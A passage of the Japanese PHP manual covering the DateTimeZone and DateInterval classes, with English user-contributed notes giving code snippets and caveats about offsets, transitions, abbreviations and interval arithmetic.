gwyneths at gmail dot com 30-Jan-2012 08:34
Print comments associated with timezones for a specific country. In this example, print all the comments for Canadian timezones.

<?php
$timeZones = DateTimeZone::listIdentifiers(DateTimeZone::PER_COUNTRY, 'CA');
foreach ( $timeZones as $key => $zoneName )
{
    $tz = new DateTimeZone($zoneName);
    $loc = $tz->getLocation();
    print($zoneName . " = " . $loc['comments'] . "<br>");
}
?>

Output:
America/Atikokan = Eastern Standard Time - Atikokan, Ontario and Southampton I, Nunavut
America/Blanc-Sablon = Atlantic Standard Time - Quebec - Lower North Shore
America/Cambridge_Bay = Mountain Time - west Nunavut
America/Dawson = Pacific Time - north Yukon
America/Dawson_Creek = Mountain Standard Time - Dawson Creek & Fort Saint John, British Columbia
America/Edmonton = Mountain Time - Alberta, east British Columbia & west Saskatchewan
...(snip)...


タイムゾーンの名前を返す

  • ≪ DateTimeZone::getLocation
  • DateTimeZone::getOffset ≫
  • PHP Manual
  • DateTimeZone
  • タイムゾーンの名前を返す

DateTimeZone::getName

timezone_name_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getName -- timezone_name_get — タイムゾーンの名前を返す

説明

オブジェクト指向型

public DateTimeZone::getName ( ) : string

手続き型

timezone_name_get ( DateTimeZone $object ) : string

タイムゾーンの名前を返します。

パラメータ

object

名前を取得したい DateTimeZone。

返り値

タイムゾーン一覧 のタイムゾーン名のひとつを返します。

User Contributed Notes

There are no user contributed notes for this page.


GMT からのタイムゾーンのオフセットを返す

  • ≪ DateTimeZone::getName
  • DateTimeZone::getTransitions ≫
  • PHP Manual
  • DateTimeZone
  • GMT からのタイムゾーンのオフセットを返す

DateTimeZone::getOffset

timezone_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getOffset -- timezone_offset_get — GMT からのタイムゾーンのオフセットを返す

説明

オブジェクト指向型

public DateTimeZone::getOffset ( DateTimeInterface $datetime ) : int

手続き型

timezone_offset_get ( DateTimeZone $object , DateTimeInterface $datetime ) : int

この関数は、datetime パラメータで指定した 日付/時刻 についての GMT へのオフセットを返します。GMT オフセットの計算の際には、 使用する DateTimeZone オブジェクトに含まれるタイムゾーン情報を使用します。

パラメータ

object

手続き型のみ: timezone_open() が返す DateTimeZone オブジェクト

datetime

オフセットを計算する 日付/時刻 を含む DateTime。

返り値

成功した場合にタイムゾーンのオフセット秒数を返します。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、失敗時に false を返していました。
5.5.19, 5.6.3 | datetime パラメータの型が DateTimeInterface に変わりました。 これより前のバージョンでは、DateTime でした。

例

例1 DateTimeZone::getOffset() の例

<?php
// ふたつのタイムゾーンオブジェクトを作成します。ひとつは台北 (台湾)、
// そしてもうひとつは東京 (日本) のものです。
$dateTimeZoneTaipei = new DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new DateTimeZone("Asia/Tokyo");

// 同一の Unix タイムスタンプを持つふたつの DateTime オブジェクトを作成します。
// しかしアタッチするタイムゾーンはそれぞれ異なります。
$dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// $dateTimeTaipei オブジェクトに含まれる 日付/時刻 の GMT オフセットを計算します。
// しかし、タイムゾーンの規則は東京のもの ($dateTimeZoneJapan)
// を使用します。
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

// これは int(32400) となります (Sat Sep 8 01:00:00 1951 JST 以降の日付の場合)。
var_dump($timeOffset);
?>

User Contributed Notes

Fred Gandt 22-Sep-2014 12:43
Procedural Style:

<?php
// Don't know where the server is or how its clock is set, so default to UTC
date_default_timezone_set( "UTC" );

// The client is in England where daylight savings may be in effect
$daylight_savings_offset_in_seconds = timezone_offset_get( timezone_open( "BST" ), new DateTime() );

// Do something useful with the number
echo date( "U" ) + $daylight_savings_offset_in_seconds;
?>


タイムゾーンの変遷を返す

  • ≪ DateTimeZone::getOffset
  • DateTimeZone::listAbbreviations ≫
  • PHP Manual
  • DateTimeZone
  • タイムゾーンの変遷を返す

DateTimeZone::getTransitions

timezone_transitions_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::getTransitions -- timezone_transitions_get — タイムゾーンの変遷を返す

説明

オブジェクト指向型

public DateTimeZone::getTransitions ( int $timestampBegin = PHP_INT_MIN , int $timestampEnd = PHP_INT_MAX ) : array|false

手続き型

timezone_transitions_get ( DateTimeZone $object , int $timestampBegin = PHP_INT_MIN , int $timestampEnd = PHP_INT_MAX ) : array|false

パラメータ

object

手続き型のみ: timezone_open() が返す DateTimeZone オブジェクト

timestampBegin

開始時のタイムスタンプ。

timestampEnd

終了時のタイムスタンプ。

返り値

成功した場合にタイムゾーンの遷移を表す連想配列の配列、 失敗した場合に false を返します。

タイムゾーンの遷移を表す連想配列e
キー | 型 | 説明
ts | int | Unixタイムスタンプ
time | string | DateTimeInterface::ISO8601 形式の文字列
offset | int | UTC からのオフセット(秒単位)
isdst | bool | 夏時間が有効かどうか
abbr | string | タイムゾーンの省略形

例

例1 timezone_transitions_get() の例

<?php
$timezone = new DateTimeZone("Europe/London");
$transitions = $timezone->getTransitions();
print_r(array_slice($transitions, 0, 3));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [ts] => -9223372036854775808
            [time] => -292277022657-01-27T08:29:52+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [1] => Array
        (
            [ts] => -1691964000
            [time] => 1916-05-21T02:00:00+0000
            [offset] => 3600
            [isdst] => 1
            [abbr] => BST
        )

    [2] => Array
        (
            [ts] => -1680472800
            [time] => 1916-10-01T02:00:00+0000
            [offset] => 0
            [isdst] =>
            [abbr] => GMT
        )

)

User Contributed Notes

rubo77 14-Nov-2013 05:06
This will work  in PHP_VERSION < 5.3:

<?php
/** returns an array with two elements for spring and fall DST in a given year
 *  works in PHP_VERSION < 5.3
 *
 * @param integer $year
 * @param string $tz timezone
 * @return array
 **/
function getTransitionsForYear($year=null, $tz = null){
    if(!$year) $year=date("Y");

    if (!$tz) $tz = date_default_timezone_get();
    $timeZone = new DateTimeZone($tz);

    if (version_compare(PHP_VERSION, '5.3.0') >= 0) {
        $transitions = $timeZone->getTransitions(mktime(0, 0, 0, 2, 1, $year),mktime(0, 0, 0, 11, 31, $year));
        $index=1;
    } else {
        // since 1980 it is regular, the 29th element is 1980-04-06
            // change this in your timezone
            $first_regular_index=29;
            $first_regular_year=1980;
        $transitions = $timeZone->getTransitions();
        $index=($year-$first_regular_year)*2+$first_regular_index;
    }
    return array_slice($transitions, $index, 2);
}
rubo77 14-Nov-2013 05:04
This function will work in PHP < 5.3 :

/** returns an array with two elements for spring and fall DST in a given year
 *
 * @param integer $year
 * @param string $tz timezone
 * @return array
 **/
function getTransitionsForYear($year=null, $tz = null){
    if(!$year) $year=date("Y");

    if (!$tz) $tz = date_default_timezone_get();
    $timeZone = new DateTimeZone($tz);

    $transitions = $timeZone->getTransitions(mktime(0, 0, 0, 1, 1, $year));
    return array_slice($transitions, 1, 2);
}
tanguy dot pruvot at gmail dot com 05-Aug-2013 01:38
Beware if you use getTransitions() without a minimum date, it can be slow...
scotts 05-Mar-2010 11:19
Getting a timezone's offset and other data at a specified point in time (now, for example) using the new PHP5.3 parameters:

<?php
$theTime = time(); # specific date/time we're checking, in epoch seconds.

$tz = new DateTimeZone('America/Los_Angeles');
$transition = $tz->getTransitions($theTime,$theTime);

# only one array should be returned into $transition. Now get the data:
$offset = $transition[0]['offset'];
$abbr = $transition[0]['abbr'];
?>

Before PHP5.3, you'd have to loop through all of the Transitions up until the current point in time, which would be a very inefficient process.


夏時間、オフセットおよびタイムゾーン名を含む連想配列を返す

  • ≪ DateTimeZone::getTransitions
  • DateTimeZone::listIdentifiers ≫
  • PHP Manual
  • DateTimeZone
  • 夏時間、オフセットおよびタイムゾーン名を含む連想配列を返す

DateTimeZone::listAbbreviations

timezone_abbreviations_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::listAbbreviations -- timezone_abbreviations_list — 夏時間、オフセットおよびタイムゾーン名を含む連想配列を返す

説明

オブジェクト指向型

public static DateTimeZone::listAbbreviations ( ) : array

手続き型

timezone_abbreviations_list ( ) : array

注意:

この関数で使われるデータは、パフォーマンス上の理由でプリコンパイルされています。 よって、より新しい » timezonedb を使っていても更新されません。

返り値

成功した場合に、タイムゾーンの情報を含んだ配列を返します。

例

例1 timezone_abbreviations_list() の例

<?php
$timezone_abbreviations = DateTimeZone::listAbbreviations();
print_r($timezone_abbreviations["acst"]);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Porto_Acre
        )

    [1] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Eirunepe
        )

    [2] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => America/Rio_Branco
        )

    [3] => Array
        (
            [dst] => 1
            [offset] => -14400
            [timezone_id] => Brazil/Acre
        )

)

参考

  • timezone_identifiers_list() - DateTimeZone::listIdentifiers のエイリアス

User Contributed Notes

jonathan at hogervorst dot info 17-Jan-2014 11:32
This method returns an associative array containing some 'major' timezones (like CEST), which on their own contain more specific 'geographic' timezones (like Europe/Amsterdam).

If you're using these timezones and their offset/DST information, it's extremely important to realize the following:

*It seems like ALL DIFFERENT OFFSET/DST CONFIGURATIONS (including historical configurations) of each timezone are included!*

For example, Europe/Amsterdam can be found six times in the output of this function. Two occurrences (offset 1172/4772) are for the Amsterdam time used until 1937; two (1200/4800) are for the time that was used between 1937 and 1940; and two (3600/4800) are for the time used since 1940.

*Therefore, YOU CANNOT RELY ON THE OFFSET/DST INFORMATION RETURNED BY THIS FUNCTION as being currently correct/in use!*

If you want to know the current offset/DST of a certain timezone, you'll have to do something like this:

<?php
$now = new DateTime(null, new DateTimeZone('Europe/Amsterdam'));
echo $now->getOffset();
?>

P.S. I'm sorry for my use of caps lock in this post, but as this behavior is not described in the documentation, I considered it to be important enough to shout. Normally I don't do such things :)
kingskippus at gmail dot com 04-Apr-2009 08:32
Note that the dst field is of boolean type, so if you are doing an identity comparison, you need to test for true or false, not 0 or 1.  For example:

<?php
  $timezone_abbreviations = DateTimeZone::listAbbreviations();
  foreach ($timezone_abbreviations["est"] as $tz) {
    echo $tz['timezone_id'];
    // if ($tz['dst'] === 1) will always evaluate to false
    if ($tz['dst'] === true) {
      echo " (DST observed)<br />\n";
    }
    // Could use else here, but for illustration...
    if ($tz['dst'] === false) {
      echo " (DST not observed)<br />\n";
    }
  }
?>


すべてのタイムゾーン識別子を含む配列を返す

  • ≪ DateTimeZone::listAbbreviations
  • DateInterval ≫
  • PHP Manual
  • DateTimeZone
  • すべてのタイムゾーン識別子を含む配列を返す

DateTimeZone::listIdentifiers

timezone_identifiers_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::listIdentifiers -- timezone_identifiers_list — すべてのタイムゾーン識別子を含む配列を返す

説明

オブジェクト指向型

public static DateTimeZone::listIdentifiers ( int $timezoneGroup = DateTimeZone::ALL , string|null $countryCode = null ) : array

手続き型

timezone_identifiers_list ( int $timezoneGroup = DateTimeZone::ALL , string|null $countryCode = null ) : array

パラメータ

timezoneGroup

DateTimeZone のクラス定数のいずれか (または定数の組み合わせ)。

countryCode

2 文字の ISO 3166-1 互換の国コード。

注意: このオプションを使用するのは、timezoneGroup に DateTimeZone::PER_COUNTRY を設定した場合のみです。

返り値

成功した場合に、タイムゾーンの識別子を含んだ配列を返します。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、失敗時に false を返していました。
7.1.0 | countryCode は、nullable になりました。

例

例1 timezone_identifiers_list() の例

<?php
$timezone_identifiers = DateTimeZone::listIdentifiers();
for ($i=0; $i < 5; $i++) {
    echo "$timezone_identifiers[$i]\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

Africa/Abidjan
Africa/Accra
Africa/Addis_Ababa
Africa/Algiers
Africa/Asmara

参考

  • timezone_abbreviations_list() - DateTimeZone::listAbbreviations のエイリアス

User Contributed Notes

PHP Guru 18-Jun-2020 09:17
In tests that I have done, not all time zones are returned by this function. For example the following aliases Asia/Katmandu and Asia/Calcutta are not returned, but these time zones are supported in tests that I have done such as the following:

<?php
echo date_default_timezone_set('Asia/Calcutta');
?>

result:

Fri, 19 Jun 2020 03:26:52 +0530

UTC+05:30 is the correct time zone for Calcutta.

Asia/Katmandu and Asia/Calcutta are aliases for Asia/Kathmandu and Asia/Kolkata respectively (which can be found in the list)

Hopefully this helps some people because without these time zones appearing in the list one might not know that they are supported or even exist.
repohelga at example dot com 07-Nov-2019 01:42
Beware that the ISO 3166-1 country code passed to second parameter $country has to be in capital letters (eg. 'US', 'DE', ...).
Passing the country code in lower case like 'us' or 'de' will not return the failure-value false but just an empty array.
kalle at example dot com 02-Feb-2016 09:36
Even though the manual currently says that the first parameter has to be "One of DateTimeZone class constants", you may actually combine these constants:

<?php
  $a = DateTimeZone::listIdentifiers(DateTimeZone::AFRICA); //gives africa time zones
  $b = DateTimeZone::listIdentifiers(DateTimeZone::AMERICA); //gives american time zones
  $c = DateTimeZone::listIdentifiers(DateTimeZone::AFRICA | DateTimeZone::AMERICA); //gives both african and american time zones
?>

Be sure to use |, not ||.


DateInterval クラス

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

はじめに

日付の間隔をあらわします。

格納方式は、固定値 (年、月、日、時など) あるいは相対時刻 (DateTime のコンストラクタがサポートしている書式) となります。

さらに厳密に言うと、 DateInterval オブジェクトが保持している情報は、 ある date/time オブジェクトから別の date/time オブジェクトに情報を移す手順です。 この過程は必ずしも可逆ではありません。

DateInterval オブジェクトを生成する一般的なやり方は、 2つの date/time オブジェクトの差分を DateTimeInterface::diff() 経由で計算することです。

クラス概要

DateInterval {
/* プロパティ */
public int $y ;
public int $m ;
public int $d ;
public int $h ;
public int $i ;
public int $s ;
public float $f ;
public int $invert ;
public mixed $days ;
/* メソッド */
public __construct ( string $duration )
public static createFromDateString ( string $datetime ) : DateInterval|false
public format ( string $format ) : string
}

プロパティ

y

年。

m

月。

d

日。

h

時間。

i

分。

s

秒。

f

マイクロ秒。1秒の100万分の1です。

invert

間隔が負の数になっている場合は 1、そうでない場合は 0。 DateInterval::format() を参照ください。

days

DateTime::diff() で作られた DateInterval オブジェクトの場合は、開始日と終了日の間の日数。 それ以外の場合は days は false となります。

PHP 5.4.20/5.5.4 より前のバージョンでは、 false ではなく -99999 となっていました。

変更履歴

バージョン | 説明
7.1.0 | f プロパティが追加されました

目次

  • DateInterval::__construct — 新しい DateInterval オブジェクトを作成する
  • DateInterval::createFromDateString — 相対指定文字列から DateInterval を作成する
  • DateInterval::format — 間隔をフォーマットする

User Contributed Notes

KEINOS 24-May-2020 10:45
Note that you CAN NOT get the exact time in seconds from a \DateInterval object.

The reason is simple. While adding the properties up, you can not determine the days of the month.

<?php
function getTTL(\DateInterval $ttl): int
{
    $secs = (isset($ttl->f) ? ($ttl->f): 0)
        + ($ttl->s)
        + ($ttl->i * 60)
        + ($ttl->h * 60 * 60)
        + ($ttl->d * 60 * 60 * 24)
        + ($ttl->m * 60 * 60 * 24 * 30) //Feb. is 28 days, 29 in an intercalary year
        + ($ttl->y * 60 * 60 * 24 * 365);

    return intval(round($secs));
}
?>

So, keep in mind that \DateInterval is something to add-on to time.

<?php
function getTTL(\DateInterval $ttl): int
{
    // Find seconds from it's current state of time
    $secs = \DateTime::createFromFormat('U', '0')->add($ttl)->format('U');

    return intval(abs($secs));
}
?>
nateb at gurutechnologies dot net 27-Apr-2020 07:37
Many people have commented on doing a reverse interval on a date time.  I personally find a backwards year to be a little strange to think about and instead opt to work with just intervals.  This is the easiest I have found.

<?php
$one_year = new DateInterval('P1Y');
$one_year_ago = new DateTime();
$one_year_ago->sub($one_year);
?>

Instead of:

<?php
$one_year_ago = new DateInterval( "P1Y" );
$one_year_ago->invert = 1;
$one_year_ago = new DateTime();
$one_year_ago->add($one_year);
?>
youssef dot benhssaien at gmail dot com 07-Jan-2020 08:38
Note that to get the next day (like : +1 day, +1 week, ...)
<?php $date = date_create('last monday of december last year')->add(\DateInterval::createFromDateString('+1 monday')); ?>
will not return the next monday, but the same monday passed as date_create() parameter.
To get the next monday even pass +2 instead of +1 or next monday :
<?php $date = date_create('last monday of december last year')->add(\DateInterval::createFromDateString('next monday')); ?>
tothsanka at gmail dot com 05-Jan-2020 10:22
Be careful!

2020-01-04 10:00:00
2020-01-05 10:00:00

->s will return 0, because the second difference is 0.
Anonymous 19-Dec-2019 02:54
//create a date
$now = new \DateTime();

//create a specific date
$someDate = \DateTime::createFromFormat("Y-m-d H:i", "2019-12-19 15:27")

//Add one day
$someDate->add(new DateInterval("P1D"));

//convert to string
echo $someDate->format("Y-m-d");   //2019-12-20
Aurelien Marchand 30-Oct-2019 07:52
Please note that the hour field can be negative, especially in the context of switching to/from Daylight savings.

Example:
<?php

$tz = new DateTimeZone("America/New_York");
$date_1 = new DateTime("2019-10-30 15:00:00",$tz);
$date_2 = new DateTime("2019-11-21 14:30:20",$tz);

echo $date_2->diff($date_1)->format("%a:%h:%i:%s");

// returns 21:-1:30:20
ruth45007 11-Apr-2019 12:02
Just tried the code submitted earlier on php 7.2.16:

<?php
$d1=new DateTime("2012-07-08 11:14:15.638276");
$d2=new DateTime("2012-07-08 11:14:15.889342");
$diff=$d2->diff($d1);
print_r( $diff ) ;
?>

and it now DOES return microsecond differences, in the key 'f':

<?php
DateInterval Object
(
    [y] => 0
    [m] => 0
    [d] => 0
    [h] => 0
    [i] => 0
    [s] => 0
    [f] => 0.251066
    [weekday] => 0
    [weekday_behavior] => 0
    [first_last_day_of] => 0
    [invert] => 1
    [days] => 0
    [special_type] => 0
    [special_amount] => 0
    [have_weekday_relative] => 0
    [have_special_relative] => 0
)
?>
trap-phpdocs-06022017 at skvorc dot me 06-Feb-2017 06:21
IRT note below: from PHP 7.0+, split seconds get returned, too, and will be under the `f` property.
cmygind@tsccorp dot com 11-Dec-2014 02:05
You can create a series of dates starting with the first day of the week for each week, if you wish to populate list box on your web page with this date math. Use the absolute abs( ) function to convert negative numbers generated from dates in the past.
<?php
            $TwoWeeksAgo = new DateTime(date("Ymd"));
            $TwoWeeksAgo->sub(new DateInterval('P'.abs ( (7-date("N")-14)).'D'));
            $LastWeek = new DateTime(date("Ymd"));
            $LastWeek->sub(new DateInterval('P'.abs ( (7-date("N")-7)).'D'));
            $ThisWeek = new DateTime(date("Ymd"));
            $ThisWeek->add(new DateInterval('P'.abs ( (7-date("N"))).'D'));

            echo 'Start of This week is '.$ThisWeek->format('l m/d/Y').'<br/>';
            echo 'Start of Last week is '.$LastWeek->format('l m/d/Y').'<br/>';
            echo 'Start of 2 weeks ago is '.$TwosWeekAgo->format('l m/d/Y').'<br/>';
?>
0bccbf3a at opayq dot com 10-Apr-2014 05:26
invert flag is unreliable.
If you've created interval with \DateInterval::createFromDateString with value like '1 day ago' than actually days counter will be negative, and invert flag will be 0. Also, setting invert to 1 with negative units is not working.
Reliable solution to check if interval is negative is to actually apply it and compare:
<?php
    private function isNegative(\DateInterval $interval)
    {
        $now = new \DateTimeImmutable();
        $newTime = $now->add($interval);
        return $newTime < $now;
    }
?>
Also, if you want to compare some units of two intervals you should take abs() of them. Or make whole interval absolute:
<?php
    private function absInterval(\DateInterval $interval)
    {
        $now = new \DateTimeImmutable();
        $new = $now->add($interval);
        $newInt = $now->diff($new);
        if (1 === $newInt->invert) {
            $newInt->invert = 0;
        }
        return $newInt;
    }
?>
P.S.: tested on 5.5.12-dev and 5.5.9
Joan 18-Dec-2013 08:03
I had the doubt after reading this page on how to create negative intervals. So far the only solution is to create the interval and negativize it.

<?php
$date1 = new DateTime();
$eightynine_days_ago = new DateInterval( "P89D" );
$eightynine_days_ago->invert = 1; //Make it negative.
$date1->add( $eightynine_days_ago );
?>

and then $date1 is now 89 days in the past.

This information is extracted from another php comment http://www.php.net/manual/en/dateinterval.construct.php#102976 but this page seems to be the first place where people will look for it.
theDustin 08-Oct-2013 03:35
If you want to format a \DateInterval to something like you input (new \DateInterval("P3W2D")) you can use one of this:

<?php

class MyDateInterval extends \DateInterval
{

    /**
     * formating string like ISO 8601 (PnYnMnDTnHnMnS)
     */
    const INTERVAL_ISO8601 = 'P%yY%mM%dDT%hH%iM%sS';

    /**
     * formating the interval like ISO 8601 (PnYnMnDTnHnMnS)
     *
     * @return string
     */
    function __toString()
    {
        $sReturn = 'P';

        if($this->y){
            $sReturn .= $this->y . 'Y';
        }

        if($this->m){
            $sReturn .= $this->m . 'M';
        }

        if($this->d){
            $sReturn .= $this->d . 'D';
        }

        if($this->h || $this->i || $this->s){
            $sReturn .= 'T';

            if($this->h){
                $sReturn .= $this->h . 'H';
            }

            if($this->i){
                $sReturn .= $this->i . 'M';
            }

            if($this->s){
                $sReturn .= $this->s . 'S';
            }
        }

        return $sReturn;
    }
}

?>

example use:

<?php

$oDateIntervalValue = new MyDateInterval('P3M');

$sFormatResult = $oDateIntervalValue->format(MyDateInterval::INTERVAL_ICALENDAR); // "P0Y3M0DT0H0M0S"
$sToStringResult = (string) $oDateIntervalValue; // "P3M"

var_dump(new MyDateInterval($sFormatResult)); // object like $oDateIntervalValue
var_dump(new MyDateInterval($sToStringResult)); // object like $oDateIntervalValue

?>
till at php dot net 19-Sep-2013 02:18
It should be noted that the following code will not throw an exception or return false, or anything:

<?php
$interval = new \DateInterval::createFromDateString("this is not a date interval");
?>

Your best way to check if what you created is a "valid" interval, by doing something like the following:

<?php
$interval = new \DateInterval::createFromDateString("this is not a date interval");
if (0 == $interval->format('s')) {
     throw new \LogicException("Wrong interval");
 }
?>
Miller 28-Aug-2013 07:06
This DateInterval extension allows you to write a formatted timestamp but omit the "zero values" and handle things like listing, plurals, etc.
Example input: '%y year(s)', '%m month(s)', '%d day(s)', '%h hour(s)', '%i minute(s)', '%s second(s)'
Example output: 1 year, 2 months, 16 days, 1 minute, and 15 seconds
Example input: '%y ano(s)', '%m mes(es)', '%d dia(s)', '%h hora(s)', '%i minuto(s)', '%s segundo(s)'
Example output: 1 ano, 2 meses, 16 dias, 1 minuto, y 15 segundos

<meta charset="UTF-8">
<?php
error_reporting(E_ALL);

class MyDateInterval extends DateInterval {
    public
        $pluralCheck = '()',
            // Must be exactly 2 characters long
            // The first character is the opening brace, the second the closing brace
            // Text between these braces will be used if > 1, or replaced with $this->singularReplacement if = 1
        $singularReplacement = '',
            // Replaces $this->pluralCheck if = 1
            // hour(s) -> hour
        $separator = ', ',
            // Delimiter between units
            // 3 hours, 2 minutes
        $finalSeparator = ', and ',
            // Delimeter between next-to-last unit and last unit
            // 3 hours, 2 minutes, and 1 second
        $finalSeparator2 = ' and ';
            // Delimeter between units if there are only 2 units
            // 3 hours and 2 minutes

    public static function createFromDateInterval (DateInterval $interval) {
        $obj = new self('PT0S');
        foreach ($interval as $property => $value) {
            $obj->$property = $value;
        }
        return $obj;
    }

    public function formatWithoutZeroes () {
        // Each argument may have only one % parameter
        // Result does not handle %R or %r -- but you can retrieve that information using $this->format('%R') and using your own logic
        $parts = array ();
        foreach (func_get_args() as $arg) {
            $pre = mb_substr($arg, 0, mb_strpos($arg, '%'));
            $param = mb_substr($arg, mb_strpos($arg, '%'), 2);
            $post = mb_substr($arg, mb_strpos($arg, $param)+mb_strlen($param));
            $num = intval(parent::format($param));

            $open = preg_quote($this->pluralCheck[0], '/');
            $close = preg_quote($this->pluralCheck[1], '/');
            $pattern = "/$open(.*)$close/";
            list ($pre, $post) = preg_replace($pattern, $num == 1 ? $this->singularReplacement : '$1', array ($pre, $post));

            if ($num != 0) {
                $parts[] = $pre.$num.$post;
            }
        }

        $output = '';
        $l = count($parts);
        foreach ($parts as $i => $part) {
            $output .= $part.($i < $l-2 ? $this->separator : ($l == 2 ? $this->finalSeparator2 : ($i == $l-2 ? $this->finalSeparator : '')));
        }
        return $output;
    }
}

date_default_timezone_set('America/Phoenix');

$today = new DateTime('today');
echo 'Today is ', $today->format('F d, Y h:ia'), '.<br>', PHP_EOL;
    // Today is August 28, 2013 12:00am.<br>
$expiration = new DateTime('today +1 year +2 months +16 days +1 minute +15 seconds');
echo 'Expires ', $expiration->format('F d, Y h:ia'), '.<br>', PHP_EOL;
    // Expires November 13, 2014 12:01am.<br>

$interval = MyDateInterval::createFromDateInterval($today->diff($expiration));

echo 'That is ', $interval->formatWithoutZeroes('%y year(s)', '%m month(s)', '%d day(s)', '%h hour(s)', '%i minute(s)', '%s second(s)'), ' from now.<br>', PHP_EOL;
    // That is 1 year, 2 months, 16 days, 1 minute, and 15 seconds from now.

$interval->finalSeparator = ', y ';
$interval->finalSeparator2 = ' y ';
echo 'Que es de ', $interval->formatWithoutZeroes('%y ano(s)', '%m mes(es)', '%d dia(s)', '%h hora(s)', '%i minuto(s)', '%s segundo(s)'), ' a partir de ahora.';
    // Que es de 1 ano, 2 meses, 16 dias, 1 minuto, y 15 segundos a partir de ahora.
    // Is that correct? Spanish isn't my strength....
?>
computrius 31-Jul-2013 02:32
It appears that they "days" property that is populated by \DateTime::diff does not contain a float for the differences in time.
It is rounded down to the nearest whole day.

    $d1 = new \DateTime("2013-07-31 10:29:00");
    $d2 = new \DateTime("2013-08-02 5:32:12");
    echo $d1->diff($d2)->days;

Output: 1
artur at qrupa dot com 30-Nov-2012 11:46
When using DateInterval('P3M') on 30th of November you get March instead of Ferbuary.
php at keith tyler dot com 08-Jun-2012 05:03
DateInterval does not support split seconds (microseconds or milliseconds etc.) when doing a diff between two DateTime objects that contain microseconds.

So you cannot do the following, for example:

<?php
$d1=new DateTime("2012-07-08 11:14:15.638276");
$d2=new DateTime("2012-07-08 11:14:15.889342");
$diff=$d2->diff($d1);
print_r( $diff ) ;

/* returns:

DateInterval Object
(
    [y] => 0
    [m] => 0
    [d] => 0
    [h] => 0
    [i] => 0
    [s] => 0
    [invert] => 0
    [days] => 0
)

*/
?>

You get back 0 when you actually want to get 0.251066 seconds.
p dot scheit at ps-webforge dot com 15-Mar-2011 06:07
If you want to convert a Timespan given in Seconds into an DateInterval Object you could dot the following:

<?php

$dv = new DateInterval('PT'.$timespan.'S');
?>

but wenn you look at the object, only the $dv->s property is set.

As stated in the documentation to DateInterval::format

The DateInterval::format() method does not recalculate carry over points in time strings nor in date segments. This is expected because it is not possible to overflow values like "32 days" which could be interpreted as anything from "1 month and 4 days" to "1 month and 1 day".

If you still want to calculate the seconds into hours / days / years, etc do the following:

<?php

$d1 = new DateTime();
$d2 = new DateTime();
$d2->add(new DateInterval('PT'.$timespan.'S'));

$iv = $d2->diff($d1);

?>

$iv is an DateInterval set with days, years, hours, seconds, etc ...


新しい DateInterval オブジェクトを作成する

  • ≪ DateInterval
  • DateInterval::createFromDateString ≫
  • PHP Manual
  • DateInterval
  • 新しい DateInterval オブジェクトを作成する

DateInterval::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::__construct — 新しい DateInterval オブジェクトを作成する

説明

public DateInterval::__construct ( string $duration )

新しい DateInterval オブジェクトを作成します。

パラメータ

duration

間隔。

最初は P から始まります。これは period を表します。 間隔の単位は、整数値の後に間隔指示子をつけて表します。 時間の要素を含む場合は、時間部分の前に文字 T を入れます。

duration の間隔指示子
間隔指示子 | 説明
Y | 年
M | 月
D | 日
W | 週。日付に変換されるので D と組み合わせて使うことはできません。
H | 時間
M | 分
S | 秒

いくつか簡単な例を示しましょう。 P2D は 2 日、 PT2S は 2 秒、そして P6YT5M は 6 年と 5 分を表します。

注意:

複数の単位を指定するときは、 大きな単位を左、小さな単位を右の順に書かなければなりません。 つまり年は月より先、月は日より先、日は分より先などとなります。 1 年と 4 日を表すのは P1Y4D であり、P4D1Y ではありません。

日付と時刻で間隔を指定することもできます。 1 年と 4 日をこの方式で表すと P0001-00-04T00:00:00 のようになります。 しかし、この方式では繰り返し単位以上の値を指定することはできません (たとえば 25 時間などとは指定できません)。

これらのフォーマットは » ISO 8601 duration specification に基づくものです。

エラー / 例外

duration を間隔としてパースできないときに Exception をスローします。

例

<?php

$interval = new DateInterval('P2Y4DT6H8M');
var_dump($interval);

?>

上の例の出力は以下となります。

object(DateInterval)#1 (8) {
  ["y"]=>
  int(2)
  ["m"]=>
  int(0)
  ["d"]=>
  int(4)
  ["h"]=>
  int(6)
  ["i"]=>
  int(8)
  ["s"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
}

参考

  • DateInterval::format() - 間隔をフォーマットする
  • DateTime::add() - 年月日時分秒の値を DateTime オブジェクトに加える
  • DateTime::sub() - 年月日時分秒の値を DateTime オブジェクトから引く
  • DateTime::diff() - ふたつの DateTime オブジェクトの差を返す

User Contributed Notes

grzeniufication 05-Apr-2020 10:51
If you'd like to persist an interval object in a DB it could be handy to implement the __toString() method. A formatted interval value can be easier to read by a human than the output of serialize. Here's an example:

<?php

namespace App;

class DateInterval extends \DateInterval
{
    public function __toString()
    {
        return $this->format('P%yY%mM%dDT%hH%iM%sS');
    }
}

$interval1 = new DateInterval('P1Y');
$interval2 = new DateInterval(strval($interval1));
assert($interval1 == $interval2);
sloanlance+php.net gmail com 05-Dec-2017 10:55
?? It's important to remember the warning about DateInterval given by "admin at torntech dot com" in an earlier comment (http://php.net/manual/en/dateinterval.construct.php#116750).  To reiterate:

Some versions of PHP (e.g., 5.6.31) have a bug that disallows fractional parts in a ISO 8601 duration string given as the argument for the DateInterval constructor.  That is, these examples will fail:

<?php
// 'P0.5Y' is valid according to ISO 8601
$interval = new DateInterval('P0.5Y');  // Throws exception
?>

<?php
// 'PT585.829S' is valid according to ISO 8601
